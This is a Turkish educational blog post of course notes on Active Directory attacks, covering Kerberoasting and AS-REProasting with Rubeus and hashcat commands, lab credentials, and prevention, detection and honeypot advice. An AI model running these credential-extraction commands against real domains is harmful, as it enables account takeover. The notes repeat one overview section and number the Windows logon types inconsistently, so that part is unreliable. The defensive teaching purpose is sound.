kaan kurt

Posted on Oct 17

Windows Attacks & DefenseWindows Attacks & Defense

#cybersecurity #infosec #security

Yasal Kullanım ve Kapsam:

Bu dokümanda yer alan uygulamalar, yalnızca tarafıma ait test ortamlarında ve internet üzerinde erişilebilen açık kaynaklı, eğitim amaçlı lab ortamlarında gerçekleştirilmiştir. Çalışmalar, siber güvenlik alanında teknik bilgi ve deneyimin geliştirilmesi amacıyla hazırlanmış olup, herhangi bir yetkisiz sisteme yönelik faaliyet içermemektedir.

BÖLÜM 1: GİRİŞ VE TERMİNOLOJİ

Active Directory (AD) Nedir?

Active Directory, Microsoft'un 2000 yılında Windows Server 2000 ile birlikte resmi olarak yayınladığı bir dizin hizmetidir (directory service). Düşün ki bir şirketin tüm kullanıcıları, bilgisayarları, grupları, ağ cihazları, dosya paylaşımları, politikaları ve güven ilişkileri tek bir merkezden yönetebildiğin yer.

AD'nin üç temel işlevi vardır: Kimlik Doğrulama (Authentication — "sen kimsin?"), Yetkilendirme (Authorization — "ne yapabilirsin?") ve Hesap Takibi (Accounting — "ne yaptın?").

Neden bu kadar kritik? AD, dünya genelinde en yaygın kullanılan Kimlik ve Erişim Yönetimi (IAM) çözümüdür. Kurumsal uygulamaların büyük çoğunluğu AD ile entegre çalışır. Eğer bir saldırgan AD'yi ele geçirirse, bu sadece tek bir sistem değil — o kurumdaki tüm sistemlere, uygulamalara ve verilere sınırsız erişim anlamına gelir. Bu, CIA üçlüsünü (Gizlilik, Bütünlük, Erişilebilirlik) tamamen ihlal eder.

Saldırganlar bu güvenlik açıklarını kullanarak ransomware (fidye yazılımı) saldırıları düzenleyebilir — verilerinizi şifreler ve şifre çözme anahtarı karşılığında para ister. Ama mesele tek bir sistemi kaybetmek değil; AD ele geçirilince her şey gider.

Temel Kavram Sözlüğü

Domain (Etki Alanı): Aynı AD veritabanını paylaşan nesneler grubu — kullanıcılar, bilgisayarlar vb. Örneğin sirket.local bir domain'dir.

Tree (Ağaç): Bir veya daha fazla domain'in gruplandırılmış hali. Örneğin test.local, staging.test.local ve preprod.test.local aynı ağaçta yer alır.

Forest (Orman): Birden fazla ağacın toplandığı en üst seviye yapı. Tüm domain'leri kapsar.

OU (Organizational Unit): Kullanıcıları, bilgisayarları ve diğer OU'ları içeren AD kapsayıcılarıdır. Düzenleme ve politika uygulamak için kullanılır.

Trust (Güven İlişkisi): Bir domain'deki kaynakların başka bir domain'deki kaynaklara erişim izni tanımlayan ilişkidir.

Domain Controller (DC): AD'nin "beyni"dir. Tüm dizini kurar ve yönetir. Kimlik doğrulama ve yetkilendirme hizmetlerini sağlar. En yüksek yetki ve önceliğe sahiptir.

NTDS.DIT: AD'nin en kritik dosyası. Tüm kullanıcı bilgilerini, şifre hash'lerini ve yapıyı içerir. %SystemRoot%\NTDS klasöründe bulunur. Bir saldırgan bu dosyayı ele geçirirse, tüm kullanıcıların şifre hash'lerine ulaşır.

Kimlik Doğrulama Yöntemleri

Windows ortamlarında üç ana kimlik doğrulama yöntemi vardır:

1) Parola Hash'leri: Kullanıcı adı ve parola, doğrudan metin olarak değil, hash (özet) formunda saklanır/iletilir. Hash türleri: LM (eski ve zayıf), NTLM, NetNTLMv1, NetNTLMv2.

2) Kerberos Biletleri: Microsoft'un Kerberos protokolü uygulamasıdır. Güvenilir bir üçüncü taraf (DC) aracılığıyla çalışır. Biletler kriptografik kimlik kanıtıdır.

3) LDAP üzerinden kimlik doğrulama: Geleneksel kullanıcı adı/parola veya sertifika ile yapılır.

Kerberos Sistemi

!! Bu konu ilerideki birçok saldırının (Kerberoasting, Golden Ticket, AS-REProasting) temelini oluşturur:

KDC (Key Distribution Center): DC üzerinde çalışan Kerberos hizmeti. Biletleri oluşturur. İki bileşeni var: AS (Authentication Server) ve TGS (Ticket Granting Server).

TGT (Ticket Granting Ticket): Kullanıcının geçerli kimlik bilgileri sunduğunu kanıtlayan bilettir. "Giriş kartı" gibi — bununla diğer servislere erişim isteyebilirsin.

TGS (Ticket Granting Service): Geçerli TGT'ye sahip kullanıcının belirli bir servise erişmek için aldığı bilettir. "Oda anahtarı" gibi — her servis için ayrı bir TGS alınır.

KRBTGT Hesabı: AD'de oluşturulan ilk hesaptır ve devre dışı olmasına rağmen son derece kritiktir. KDC anahtarı bu hesabın parola hash'inden türetilir. Bu anahtar TGT'lerin geçerliliğini kanıtlar. Parolası rastgele üretilir ve siz bilinen bir değere ayarlamaya çalışsanız bile AD otomatik olarak rastgele bir değerle değiştirir.

Ayrıcalıklı Gruplar ve Riskleri

Domain Admins ve Administrators en yüksek yetkili gruplardır. Domain Admins üyeleri varsayılan olarak domain'e katılmış tüm makinelerde yönetici olur. Forest'ın en üst domain'inde ayrıca Enterprise Admins grubu bulunur — tüm domain'ler üzerinde yetkilidir.

Risk örneği — Account Operators: Birçok AD yöneticisi, servis table sinin kullanıcı parolalarını sıfırlayabilmesi için bu grubu atar. Ama bu grup aslında çok geniş yetkilere sahiptir. Doğru yol, özel bir grup oluşturup sadece parola sıfırlama yetkisi devretmektir. Account Operators üzerinden Domain Admins'e yükselme yolu yaygındır — özellikle Azure AD Connect'in oluşturduğu "MSOL_" hesapları üzerinden.

Oturum Açma Türleri

Windows'ta birden fazla oturum açma tipi vardır. Bu çok önemlidir çünkü her tip, sistem üzerinde farklı bir iz bırakır — yani kullanıcı adı ve parola bilgisi o sistemde kalır.

Windows Oturum Açma Türleri (Logon Types)

Windows, her oturum açma girişimini bir Logon Type numarası ile etiketler. Bu numara, hem Event Viewer'da (Event ID 4624 — başarılı oturum açma) görünür hem de hangi kimlik bilgisi materyalinin sistemde ne şekilde saklanacağını belirler.

!!
Bir saldırgan bir makineye eriştiğinde, LSASS (Local Security Authority Subsystem Service) belleğinde önceki oturum açmalardan kalan kimlik bilgilerini arar mimikatz gibi araçlar aslında bunu yapar. Ama hangi tür kimlik bilgisinin (parola metni, NTLM hash'i, Kerberos bileti) bellekte kaldığı, hangi logon type ile giriş yapıldığına bağlıdır. Bu yüzden bir saldırgan için "bu makineye kim, nasıl bağlanmış" sorusu kritik.

Ana Logon Type'lar

Type 1 — Interactive: Kullanıcı, klavye ve fareyle fiziksel olarak makinenin başında oturum açar (konsol girişi). Kimlik bilgileri LSASS belleğinde tutulur — bu yüzden bir sunucuya fiziksel/KVM erişimle giren bir yöneticinin izleri, sonradan çalınabilir.

Type 2 — Network (İSTİSNA, iz bırakmaz): SMB paylaşımına bağlanma, net use, dosya paylaşım erişimi gibi durumlarda kullanılır. Genellikle NTLM challenge-response mekanizmasıyla çalışır — yani parola veya hash'in kendisi hedef sisteme hiç gönderilmez, sadece bir kriptografik kanıt gönderilir. Bu yüzden hedef sistemde kimlik bilgisi izi kalmaz. Dokümanın vurguladığı kural tam olarak bu: "Type 3 hariç hepsi iz bırakır."

Type 3 — Batch: Zamanlanmış görevler (Scheduled Tasks) çalıştırıldığında kullanılır. Görev, kayıtlı bir kullanıcı hesabıyla çalışıyorsa, o hesabın kimlik bilgileri sistemde saklanır (görev motorunun tekrar tekrar kimlik doğrulaması yapabilmesi için).

Type 4 — Service: Bir Windows servisi belirli bir kullanıcı hesabıyla başlatıldığında oluşur. Servis hesabının kimlik bilgileri, servisin sürekli çalışabilmesi için sistemde saklanır — bu da Kerberoasting'in aslında neden bu kadar etkili olduğunu açıklayan bir başka açıdır: servis hesapları zaten iz bırakmaya "programlanmış" durumdadır.

Type 5 — Unlock: Kilitli bir ekranın açılması. Type 2'ye benzer sonuçlar doğurur.

Type 6 — NetworkCleartext: Type 3'e benziyor ama kimlik bilgisi düz metin olarak ağ üzerinden gönderilir (örneğin bazı temel kimlik doğrulamalı IIS/web uygulamaları, ya da runas /netonly bazı senaryolarda). Bu, Type 3'ün aksine iz bırakabilir çünkü parola metni gerçekten iletiliyor.

Type 7 — NewCredentials: runas /netonly komutuyla oluşturulur. Yerel oturum kendi kimliğinle devam ederken, ağ bağlantıları için farklı bir kimlik kullanılır. Saldırganların "bir kimlik bilgisi setini doğrulamadan test etme" (pass-the-hash denemeleri gibi) amacıyla sıkça kullandığı bir tekniktir.

Type 8 — RemoteInteractive (RDP): Uzak masaüstü bağlantısı. Type 2 ile aynı derecede tehlikeli — çünkü RDP ile bağlanan bir yöneticinin kimlik bilgileri, tıpkı fiziksel oturum açmış gibi hedef sistemin LSASS belleğinde tutulur. Bu yüzden bu kursun lab senaryosunda gördüğümüz gibi, bir yönetici RDP ile bir sunucuya bağlandığında, o sunucu ele geçirilirse yöneticinin kimlik bilgileri de ele geçirilmiş olur.

Type 9 — CachedInteractive: Domain Controller'a ulaşılamadığında, önbelleğe alınmış kimlik bilgileriyle (laptop'ların DC'ye bağlı olmadan da açılabilmesini sağlayan mekanizma) oturum açma.

Saldırgan Perspektifinden

Bu bilgi, gerçek dünyada şu şekilde işe yarar: Bir saldırgan bir sunucuyu ele geçirdiğinde, önceliği genellikle "buraya kim, ne zaman, hangi tür ile bağlanmış" sorusunu cevaplamaktır. Eğer bir Domain Admin, o sunucuya Type 2 veya Type 10 ile bağlanmışsa, saldırgan büyük ihtimalle o hesabın kimlik bilgilerini (hash veya bilet olarak) LSASS belleğinden çıkarabilir — bu da tek bir düşük yetkili makineden tüm domain'e sıçrama (lateral movement → privilege escalation) anlamına gelebilir.

Bu yüzden savunma tarafında "Tiering" (katmanlama) modeli önerilir: Domain Admin hesapları, sadece Domain Controller'lara doğrudan bağlanmalı; asla sıradan bir kullanıcı iş istasyonuna (WS001 gibi) RDP veya interactive girişle bağlanmamalı. Çünkü tam da bu kursun lab senaryosunda olduğu gibi, düşük değerli bir makinenin ele geçirilmesi, üzerinde iz bırakmış yüksek yetkili bir hesabın çalınmasına yol açabilir.

Kural: "Network logon (Tip 3)" HARİÇ diğer tüm oturum açma türleri, bağlanılan sistemde kimlik bilgilerinin izini bırakır. Yani bir yönetici RDP ile bir sunucuya bağlanırsa, o sunucuda şifre hash'i kalır — saldırgan bunu çalabilir.

Önemli Ağ Portları (Ezberlenmeli!)

Bunları ezberlemek saha çalışmalarında çok faydalıdır:

53: DNS
88: Kerberos
135: WMI / RPC
137-139 ve 445: SMB
389 ve 636: LDAP
3389: RDP
5985 ve 5986: PowerShell Remoting (WinRM)

AD'nin Kullanıcılar Tarafından Numaralandırılması

Sıradan bir AD kullanıcısı, AD içindeki nesnelerin büyük çoğunluğunu sorgulayabilir: domain bilgisayarları, kullanıcılar, grup bilgileri, varsayılan domain politikası, parola politikası, GPO'lar, Kerberos delegasyonu, güven ilişkileri ve ACL'ler. Bu, AD'nin tasarımsal bir özelliğidir ve kısıtlamak birçok uygulama/servisi bozabilir.

Real-World View

Doküman üç temel zayıflık kategorisini vurgular:

Karmaşıklık: İç içe geçmiş grup üyelikleri. Bir kullanıcı, bir grubun üyesi olabilir, o grup başka bir grubun üyesi, o da başka birinin…
Gruplar başka grupların içine eklenebildiği için, bir kullanıcı görünüşte sıradan bir gruba üye olsa bile, o grup zincirleme şekilde başka gruplara üye olduğundan, kullanıcı fark etmeden ve kimse kasıtlı bir yetki vermeden dolaylı yoldan Domain Admins üyesi haline gelebilir

Domain Admins
└── üye: "IT-Yöneticileri" grubu
└── üye: "Helpdesk-Kıdemli" grubu
└── üye: "Servis-Masası-Ekibi" grubu
└── üye: Ahmet (sıradan bir helpdesk çalışanı)

Tasarım: GPO'lar SYSVOL paylaşımı üzerinden SMB protokolüyle dağıtılır. Ama SMB aynı zamanda kod çalıştırmaya da izin verir. Geçerli yetkilendirilmiş kimlik bilgilerine sahip biri, DC'ler üzerinde uzaktan komut çalıştırabilir.

Eski Uyumluluk (Legacy): Windows, kutudan çıktığı gibi çalışmayı hedefler ama güvenli değildir. Örneğin NetBIOS ve LLMNR protokolleri varsayılan olarak açıktır. DNS başarısız olduğunda devreye girmesi gereken bu protokoller, DNS çalışsa bile aktiftir ve ağ üzerinde kullanıcı kimlik bilgilerini yayınlar — dinleyen herkes bu bilgileri yakalayabilir.

BÖLÜM 2: OVERVIEW

Modülün Metodolojisi

ele alınacak her saldırı için aynı beş adımlı yaklaşımı izleyecez.

Açıklama (Describe) — Saldırı nedir, nasıl çalışır?
Yürütme (Walkthrough) — Saldırıyı adım adım nasıl gerçekleştiririz?
Önleme (Prevention) — Bunu önlemek için hangi teknikler ve telafi edici kontroller var?
Tespit (Detection) — Bu saldırıyı nasıl fark ederiz?
Honeypot (Tuzak) — Uygulanabilirse, saldırıyı yakalamak için tuzak/aldatma yaklaşımı nedir?

Her teknik için bu 5 soruyu sor

Saldırıların Listesi

Kerberoasting
AS-REProasting
GPP Şifreleri (Group Policy Preferences)
Yanlış yapılandırılmış GPO izinleri (veya GPO ile dağıtılan dosyalar)
Ağ paylaşımlarındaki kimlik bilgileri
Kullanıcı özniteliklerindeki kimlik bilgileri
DCSync
Kerberos Golden Ticket
Kerberos Constrained Delegation saldırısı
Print Spooler & NTLM Relaying
Coercing (zorlama) saldırıları & Kerberos Unconstrained Delegation
Object ACLs (nesne erişim kontrol listeleri)
PKI Yanlış Yapılandırmaları — ESC1
PKI Yanlış Yapılandırmaları — ESC8 (Coercing + Sertifikalar birleşimi)

Not: ESC8 ilerde (Skills Assessment) pratik olarak karşımıza çıkacak — bu yüzden haritada ayrı bir "ana başlık" olarak görünmüyor ama içeriğe dahil.

Lab Ortamının Yapısı

Kurs, pratik yapman için izole bir sanal ortam sağlıyor. Senaryo şu: İnfa adında, hiçbir özel yetkisi olmayan sıradan bir AD kullanıcısının hesabı zaten ele geçirilmiş ve WS001 (Windows 10) makinesinde kod çalıştırma yetkisine sahipsin.

Ortamdaki makineler:

Makine	IP	Rol
DC1	172.16.18.3	Domain Controller
DC2	172.16.18.4	Domain Controller (ikinci)
Server01	172.16.18.10	Sunucu
PKI	172.16.18.15	Sertifika sunucusu
WS001	DHCP / 172.16.18.25	Windows 10 — saldırgan başlangıç noktası
Kali Linux	DHCP / 172.16.18.20	Saldırgan makinesi

Bağlantı Yöntemleri

WS001'e RDP ile bağlanma (kullanıcı: infa, şifre: mvp123):

xfreerdp /u:krysthal\infa /p:mvp123 /v:HEDEF_IP /dynamic-resolution

Kali'ye SSH ile bağlanma (varsayılan kali/kali):

ssh kali@HEDEF_IP

Kali'de RDP de aktif — bazı bölümlerde Kali hedef makine olduğunda RDP tercih ediliyor:

xfreerdp /v:HEDEF_IP /u:kali /p:kali /dynamic-resolution

Dosya taşıma (WS001 ↔ Kali arası): WS001 üzerinde bir SMB paylaşımı var. Kali'den smbclient ile bağlanabilirsin:

smbclient \\HEDEF_IP\Share -U krysthal/administrator%mvp123

Bağlandıktan sonra put (yükle) veya get (indir) komutlarıyla dosya transferi yapılır.### BÖLÜM 2: GENEL BAKIŞ (OVERVIEW)

Bu bölüm kısa ama önemli — kursun geri kalanının nasıl işleyeceğini ve lab ortamını tanıtıyor. Bundan sonraki her saldırı bölümüne girerken bu yapıyı hatırlayacaksın.

Modülün Metodolojisi

Kurs, ele alınacak her saldırı için aynı beş adımlı yaklaşımı izliyor:

Açıklama (Describe) — Saldırı nedir, nasıl çalışır?
Yürütme (Walkthrough) — Saldırıyı adım adım nasıl gerçekleştiririz?
Önleme (Prevention) — Bunu önlemek için hangi teknikler ve telafi edici kontroller var?
Tespit (Detection) — Bu saldırıyı nasıl fark ederiz?
Honeypot (Tuzak) — Uygulanabilirse, saldırıyı yakalamak için tuzak/aldatma yaklaşımı nedir?

Bu, senin de not alırken kullanabileceğin çok iyi bir zihinsel şablon: her teknik için bu 5 soruyu kendine sor.

Kursta İşlenecek Tüm Saldırıların Listesi

Doküman burada 14 saldırı tekniği sıralıyor (bizim harita bunları 16 bölüme yaymıştı, çünkü bazı saldırılar birleştirilmiş konu başlıkları altında):

Kerberoasting
AS-REProasting
GPP Şifreleri (Group Policy Preferences)
Yanlış yapılandırılmış GPO izinleri (veya GPO ile dağıtılan dosyalar)
Ağ paylaşımlarındaki kimlik bilgileri
Kullanıcı özniteliklerindeki kimlik bilgileri
DCSync
Kerberos Golden Ticket
Kerberos Constrained Delegation saldırısı
Print Spooler & NTLM Relaying
Coercing (zorlama) saldırıları & Kerberos Unconstrained Delegation
Object ACLs (nesne erişim kontrol listeleri)
PKI Yanlış Yapılandırmaları — ESC1
PKI Yanlış Yapılandırmaları — ESC8 (Coercing + Sertifikalar birleşimi)

Not: ESC8 son bölümde (Skills Assessment) pratik olarak karşımıza çıkacak — bu yüzden haritada ayrı bir "ana başlık" olarak görünmüyor ama içeriğe dahil.

Lab Ortamının Yapısı

Ortamdaki makineler:

Makine	IP	Rol
DC1	172.16.18.3	Domain Controller
DC2	172.16.18.4	Domain Controller (ikinci)
Server01	172.16.18.10	Sunucu
PKI	172.16.18.15	Sertifika sunucusu
WS001	DHCP / 172.16.18.25	Windows 10 — saldırgan başlangıç noktası
Kali Linux	DHCP / 172.16.18.20	Saldırgan makinesi

Bağlantı Yöntemleri

WS001'e RDP ile bağlanma (kullanıcı: infa, şifre: mvp123):

xfreerdp /u:krysthal\infa /p:mvp123 /v:HEDEF_IP /dynamic-resolution

Kali'ye SSH ile bağlanma (varsayılan kali/kali):

ssh kali@HEDEF_IP

Kali'de RDP de aktif — bazı bölümlerde Kali hedef makine olduğunda RDP tercih ediliyor:

xfreerdp /v:HEDEF_IP /u:kali /p:kali /dynamic-resolution

Dosya taşıma (WS001 ↔ Kali arası): WS001 üzerinde bir SMB paylaşımı var. Kali'den smbclient ile bağlanabilirsin:

smbclient \\HEDEF_IP\Share -U krysthal/administrator%mvp123

Bağlandıktan sonra put (yükle) veya get (indir) komutlarıyla dosya transferi yapılır.

BÖLÜM 3: KERBEROASTING

AD saldırılarının en klasiklerinden biri.

Önce bir kavramı hatırlayalım: SPN (Service Principal Name) AD'de bir servis örneğini benzersiz şekilde tanımlayan kimliktir. Kerberos, SPN'leri kullanarak bir servis örneğini, o servisin çalıştığı hesapla ilişkilendirir. Bu sayede bir istemci, hesabın adını bilmeden bile o servisten kimlik doğrulaması isteyebilir.

Kritik nokta: Bir istemci bir servise erişmek için TGS (Ticket Granting Service) bileti istediğinde, bu bilet servis hesabının NTLM parola hash'i ile şifrelenir.

İşte Kerberoasting tam olarak burayı hedefliyor:

Saldırgan bir servis bileti (TGS) alır
Bu bileti çevrimdışı (offline) olarak kırmaya çalışır — yani ağ trafiği üretmeden, kendi bilgisayarında
Bilet açılırsa, açan parola = servis hesabının gerçek parolasıdır

Saldırının başarısı iki şeye bağlı:

Servis hesabının parolasının gücü
Biletin şifrelendiği algoritma: AES (yavaş kırılır, güvenli), RC4 (hızlı kırılır, zayıf), DES (15+ yıllık eski sistemlerde, artık nadir)

Önemli bir detay: normalde KDC en güçlü desteklenen algoritmayı kullanır, ama saldırganlar bunu RC4'e düşürebilir (downgrade saldırısı) — bu da kırma işini kolaylaştırır.

Saldırı Adımları (Attack Path)

1. Adım — Kırılabilir biletleri toplama:

Rubeus aracı kullanılıyor. Kullanıcı belirtilmeden çalıştırıldığında, SPN kayıtlı her hesap için bilet çıkarır (büyük ortamlarda yüzlerce olabilir):

Rubeus.exe kerberoast /outfile:spn.txt

Lab ortamında bu komut çalıştırıldığında, krysthal.local domain'inde 3 kerberoastable kullanıcı bulunuyor. Örnek çıktıda Administrator hesabı için http/pki1 SPN'i ve RC4_HMAC_DEFAULT şifreleme tipi görülüyor — yani bu hesap RC4 ile korunuyor, kırılması kolay demek.

2. Adım — Çevrimdışı kırma:

Elde edilen .txt dosyası Kali makinesine taşınıp hashcat ile kırılıyor:

hashcat -m 13100 -a 0 spn.txt passwords.txt --outfile="cracked.txt"

-m 13100 parametresi hashcat'e "bu bir Kerberoastable TGS hash'i" diyor. Sözlük saldırısı (dictionary attack) ile parola deneniyor ve lab örneğinde birkaç saniye içinde parola bulunuyor.

Alternatif araç: John the Ripper ile de aynı iş yapılabilir (--format=krb5tgs).

Önemli çıkarım: Bu saldırının tüm gücü, servis hesaplarının genellikle zayıf ve eski parolalara sahip olmasından geliyor — çünkü kimse bir servis hesabının parolasını düzenli değiştirmeyi hatırlamıyor, oysa normal kullanıcı hesapları parola politikasına tabi.

Önleme (Prevention)

Bu saldırıya karşı üç savunma katmanı var:

1) Güçlü parolalar: Servis hesaplarının parolaları 100+ karakter rastgele olmalı (AD'de izin verilen maksimum 127 karakter). Bu, kırmayı pratik olarak imkansız hale getirir.

2) gMSA (Group Managed Service Accounts): Bu, AD'nin otomatik yönettiği özel bir servis hesabı türü. Şu avantajları var:

Belirli bir sunucuya bağlıdır, başka hiçbir yerde kullanılamaz
AD, parolasını otomatik olarak 127 karakterlik rastgele değerle döndürür
Dezavantajı: Tüm uygulamalar bunu desteklemiyor (öncelikle IIS, SQL gibi Microsoft servisleriyle uyumlu)

3) Temizlik disiplini: İhtiyacı olmayan hesaplara SPN atanmamalı, artık kullanılmayan servislere ait SPN'ler düzenli temizlenmeli.

Tespit (Detection)

TGS istendiğinde Event ID 4769 loglanır. Ama burada bir sorun var: bu event, bir kullanıcı normal şekilde bir servise bağlandığında da üretilir — yani hacmi devasa ve tek başına güvenilir bir tespit yöntemi değil.

Pratik tespit stratejileri:

Eğer ortamınızda sadece AES biletleri üretiliyorsa (yani her şey AES destekliyorsa), Event ID 4769'u izlemek çok iyi bir gösterge olur.
Eğer bilet seçeneklerinde RC4 görülüyorsa (bu varsayılan yapılandırma değil), bu mutlaka araştırılmalı.
Rubeus gibi araçlar varsayılan olarak SPN'i olan her hesap için bilet çıkarır — bu yüzden "bir dakika içinde 10'dan fazla bilet isteği" gibi bir eşik belirleyip alarm kurmak etkili bir yöntem. Bu kuralı hem istek yapan kullanıcıya hem de isteğin geldiği makineye göre gruplandırmak gerekir.

Honeypot (Tuzak Hesap) Yaklaşımı

Bu bölümün en zekice kısmı: bir tuzak kullanıcı oluşturmak. Bu hesap gerçek bir işleve sahip olmadığından, normalde hiç servis bileti üretilmemeli — dolayısıyla bu hesap için herhangi bir bilet isteği neredeyse kesinlikle kötü niyetlidir.

Tuzak hesabın etkili olması için gereken 4 kriter:

Eski bir hesap olmalı — ideal olarak artık kullanılmıyormuş gibi görünmeli (gelişmiş saldırganlar yeni hesaplara güvenmez, çünkü güçlü parolalı olabilirler ve honeypot şüphesi taşırlar)
Parolası uzun süredir değiştirilmemiş olmalı — ideal olarak 2+ yıl, hatta 5+ yıl (ama yine de saldırganın kıramayacağı kadar güçlü olmalı!)
Bir miktar yetkiye sahip olmalı — yoksa bilet almak saldırgan için ilgi çekici olmaz
Meşru görünen bir SPN'e sahip olmalı — IIS veya SQL hesabı gibi yaygın türler idealdir

Ekstra fayda: Bu hesapla ilgili herhangi bir aktivite (başarılı veya başarısız oturum açma denemesi) şüpheli sayılır ve alarm verilmelidir.

BÖLÜM 4: AS-REPROASTING

Açıklama

Bu saldırı, Kerberoasting'e kavramsal olarak çok benziyor ama farklı bir zayıflığı hedefliyor: "Do not require Kerberos preauthentication" (Kerberos ön kimlik doğrulaması gerektirmez) özelliği açık olan kullanıcı hesapları.

Kerberos'ta normalde bir kullanıcı TGT istediğinde, önce kendi parolasıyla şifrelenmiş bir zaman damgası göndererek "gerçekten ben olduğumu" kanıtlar (bu ön kimlik doğrulama'dır). Ama bu özellik bir hesapta kapatılmışsa, KDC hiçbir kanıt istemeden doğrudan bir AS-REP (Authentication Server Response) gönderir — ve bu yanıtın bir kısmı kullanıcının parola hash'i ile şifrelenmiştir.

Yani mantık aynı: bir kriptografik materyal elde et → çevrimdışı kır → parola çıkar. Farkı, Kerberoasting'in servis hesaplarını, AS-REProasting'in ise ön kimlik doğrulaması kapalı kullanıcı hesaplarını hedeflemesi. Bu saldırının başarısı da yine tamamen kırılacak hesabın parola gücüne bağlı.

Saldırı Adımları (Attack)

1. Adım — Hash'i elde etme:

Yine Rubeus kullanılıyor, ama bu sefer asreproast eylemiyle. Kullanıcı belirtilmezse, ön kimlik doğrulaması kapalı her hesap için hash çıkarır:

Rubeus.exe asreproast /outfile:asrep.txt

Lab ortamında bu özelliğe sahip tek kullanıcı mdr. Rubeus, krysthal.local\mdr için ön-kimlik-doğrulamasız bir AS-REQ oluşturuyor ve karşılığında gelen hash'i asrep.txt dosyasına yazıyor.

2. Adım — hashcat için formatlama (önemli bir detay!):

Rubeus'un çıkardığı ham hash, hashcat'in tanıyabilmesi için küçük bir düzenleme gerektiriyor: $krb5asrep$ ile hash arasına 23$ eklenmesi gerekiyor. Bu, hashcat'e hangi Kerberos etype'inin (23 = RC4-HMAC) kullanıldığını söylüyor. Bu adımı atlarsan hashcat hash'i tanımaz.

3. Adım — Çevrimdışı kırma:

hashcat -m 18200 -a 0 asrep.txt passwords.txt --outfile asrepcrack.txt --force

Buradaki -m 18200, Kerberoasting'deki 13100'den farklı — çünkü bu farklı bir hash türü (AS-REP, TGS değil). --force parametresi bazı donanım uyarılarını bastırmak için ekleniyor.

Lab örneğinde parola birkaç saniyede kırılıyor ve sonuç mvp123 olarak çıkıyor — yani mdr kullanıcısının gerçek parolası bu.

Önleme (Prevention)

Yine parola gücü meselesi ama burada ek bir incelik var:

Bu özelliği sadece gerçekten gerekliyse aç. Üç ayda bir hesapları gözden geçirip bu özelliğin gereksiz yere açık kalmadığından emin olmalısınız.
Kritik gözlem: Bu özellik genellikle sıradan kullanıcı hesaplarında bulunur (servis hesaplarında değil), ve sıradan kullanıcılar SPN'li servis hesaplarına göre çok daha zayıf parolalar seçme eğilimindedir. Bu da AS-REProasting'i pratikte Kerberoasting'den bile daha tehlikeli yapabilir.
Çözüm: Bu özelliğe sahip kullanıcılar için ayrı bir parola politikası tanımlayın — en az 20 karakter zorunluluğu getirin.

Tespit (Detection)

Rubeus çalıştırıldığında Event ID 4768 üretilir (Kerberos Authentication ticket'ın oluşturulduğunu gösterir).

Yine aynı sorun: bu event, Kerberos ile kimlik doğrulayan her kullanıcı için üretiliyor, yani hacmi çok yüksek. Ama Kerberoasting'den farklı olarak burada ekstra bir korelasyon imkanı var:

Event'te kullanıcının nereden kimlik doğruladığı bilgisi var. Bu bilgiyi, bilinen normal giriş noktalarıyla karşılaştırıp anormal hash çıkarma girişimlerini tespit edebilirsiniz.
Belirli bir IP adresini izlemek zor olabilir (kullanıcı ofisler arasında hareket edebilir), ama VLAN seviyesinde izleme yapıp, o VLAN dışından gelen her isteği alarm olarak işaretlemek pratik bir yöntem.

Honeypot (Tuzak Hesap)

Bu saldırı için honeypot kullanıcı oluşturmak mükemmel bir tespit opsiyonudur. Bu hesap, ortamda gerçek bir kullanımı/ihtiyacı olmayan bir kullanıcı olmalıdır — böylece bu hesap için yapılan herhangi bir giriş denemesi büyük olasılıkla kötü niyetlidir ve inceleme gerektirir.

Ancak kritik bir uyarı: Eğer honeypot kullanıcı, ortamdaki "Kerberos Pre-Authentication kapalı" özelliğine sahip tek hesapsa, bu durumda daha iyi tespit yöntemleri tercih edilmelidir. Çünkü bu çok bariz olur — gelişmiş bir tehdit aktörü (advanced threat actor), ortamda bu özelliğe sahip yalnızca bir hesap olduğunu görünce bunun bir tuzak olduğunu tahmin eder ve bilerek bu hesapla etkileşime girmekten kaçınır.

Gerçek dünya anekdotu: Yazar, geçmişte bir organizasyondan şunu duyduğunu paylaşıyor: O organizasyon, uygulama gereksinimi nedeniyle bu özelliğe sahip sadece bir hesaba ihtiyaç duyuyordu ve "madem tek hesabımız var, saldırganlar bunun honeypot olduğunu düşünüp uzak durur" mantığıyla bir tür güvenlik sağlamaya çalışıyorlardı (security through obscurity — belirsizlik yoluyla güvenlik). Yazarın yorumu: Bu bazı durumlarda gerçekten işe yarayabilir, ama bir organizasyonun güvenlik duruşunu böyle "ufak bir umut ışığına" bağlamak doğru bir strateji değildir.

İyi bir honeypot kullanıcısı için kriterler:

Hesap eski bir kullanıcı olmalı, ideal olarak artık kullanılmıyormuş gibi görünmeli (gelişmiş saldırganlar yeni hesaplar için bilet istemez çünkü güçlü parola ve honeypot olma ihtimali yüksektir).
Servis hesabı ise parola 2+ yıllık olmalı, ama sıradan kullanıcı hesabıysa parola 1 yıldan eski olmamalı — çünkü normal kullanıcı hesaplarının çok eski parola yaşı şüphe çekebilir.
Hesabın, parola değiştirildikten sonra giriş kayıtları olması lazım. Yoksa "son parola değişikliği = son giriş tarihi" gibi bir çelişki, hesabın sahte olduğunu belli eder.
Hesabın bir miktar yetkiye sahip olması gerekir — yoksa parolasını kırmak saldırgan için cazip olmaz.

Lab örneği: Doküman, playground ortamında bu kriterleri svc-iam adlı kullanıcıya uyguluyor — bu hesap "muhtemelen eski, artık kullanılmayan bir IAM (Identity and Access Management) hesabı kalıntısı" olarak tanımlanıyor. Yukarıdaki tüm honeypot kriterleri bu hesaba uygulandığında, bu hesap için herhangi bir TGT isteği geldiğinde alarm üretilmesi öneriliyor.

Kerberoasting vs AS-REProasting hızlı karşılaştırma:

BÖLÜM 5: GPP ŞİFRELERİ (GROUP POLICY PREFERENCES PASSWORDS)

Açıklama (Description)

SYSVOL'u hatırlayalım 1. Bölümde bahsetmiştik: tüm Domain Controller'larda bulunan, oturum açma betiklerini ve grup politikası verilerini içeren paylaşılan bir ağ klasörü. Tüm grup politikaları şu yolda saklanır: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.

Microsoft, Windows Server 2008 ile Group Policy Preferences (GPP) özelliğini tanıttı. Bu özellik, belirli senaryolarda (örneğin bir hizmet hesabı oluşturma, yerel yönetici hesabı ayarlama, zamanlanmış görev tanımlama) kimlik bilgilerinin saklanmasına izin veriyordu — ve bunlar SYSVOL'daki politika klasöründe XML dosyaları içinde tutuluyordu.

